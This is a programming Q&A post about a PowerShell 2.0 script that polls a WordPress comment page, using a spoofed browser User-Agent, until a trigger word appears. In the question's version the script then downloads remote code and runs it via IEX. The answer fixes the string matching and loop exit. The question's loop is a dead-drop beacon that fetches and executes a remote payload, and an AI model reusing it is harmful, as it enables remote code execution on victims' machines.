Powershell | DownloadString | External website | Return

powershell

I'm a totally powershell newbie, so please be indulgent 😉

I'm trying to write a script where a machine check an external website waiting for a the word: "test" to execute a download. The things goes like this:

$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")
While($True){
$CommentResult = $WebClientObject.DownloadString($comment)
$Found = $CommentResult.contains($Word)
If($Found) {
IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
Task_to_do and some blabla commands
Return
}
Start-Sleep -Seconds 60
}

I'm running powershell 2.0. Windows7

What happened:

  • the download is not executed over internet
  • it is not a issue coming from IPs or paths

What i've done next:

  • I directly write the different commands in the powershell prompt:

–> the While($True) initiate an endless loop without exiting it.

To make the trick i need to "double click return on my keyboard", the loop's ending and the "downloadstring" command is finally executed.

Still remember i'm more than a newbie, right? 🙁

  • i tried "break" "return" or "exit" bu impossible to quit the
    loop.
  • I tried to put many double carriage return in my script also without
    any success.

Would someone please indicates me the way to do this simple thing…? 🙂

Thanks a lot.

Best Answer

There is at least three issues with your script:

  1. contains doesn't work the way you think it does. It tells whether a collection of reference values includes a single test value. In layman's terms, it operates only on elements of arrays and looks for exact match. But what you get in your $CommentResult is one long string containing all page's HTML code. So contains treats is as an array with one element and because this element is not an exact match of string 'test', it returns False.
  2. In your if block, you don't have to use Invoke-Expression cmdlet (IEX is an alias for it) to call DownloadString method of $WebClientObject.
  3. You really need to do some HTML parsing (Html Agility Pack will do), or at least a regex to match a word (and it's better to be a very unique word). Because string test itself can occur in HTML as part of a tag, e.g.: 
    <img src='http://server.com/protestant.jpg' />

I've fixed your script to use a regex and match anything, that happens to contain the string test (this includes protest, detest, latest, testament and so on) in a HTML code of web-page. Try it and modify to your needs afterwards:

$Word = 'test'
$comment = 'http://MySite.wordpress.com/comment_section/'

$WebClientObject = New-Object -TypeName Net.WebClient
$WebClientObject.Headers.Add('User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)')

While($true)
{
    if($WebClientObject.DownloadString($comment) -match $Word)
    {
        $Html = $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
        #Task_to_do and some blabla commands
        break
    }

    Start-Sleep -Seconds 60
}
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